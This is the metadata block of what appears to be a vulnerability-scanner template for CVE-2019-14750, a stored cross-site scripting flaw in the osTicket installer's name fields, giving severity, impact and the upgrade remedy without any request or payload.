id: CVE-2019-14750
|
|
|
|
info:
|
|
name: osTicket < 1.12.1 - Cross-Site Scripting
|
|
author: TenBird
|
|
severity: medium
|
|
description: |
|
|
An issue was discovered in osTicket before 1.10.7 and 1.12.x before 1.12.1. Stored XSS exists in setup/install.php. It was observed that no input sanitization was provided in the firstname and lastname fields of the application. The insertion of malicious queries in those fields leads to the execution of those queries. This can further lead to cookie stealing or other malicious actions.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
|
|
remediation: |
|
|
Upgrade osTicket to version 1.12.1 or later to mitigate this vulnerability.
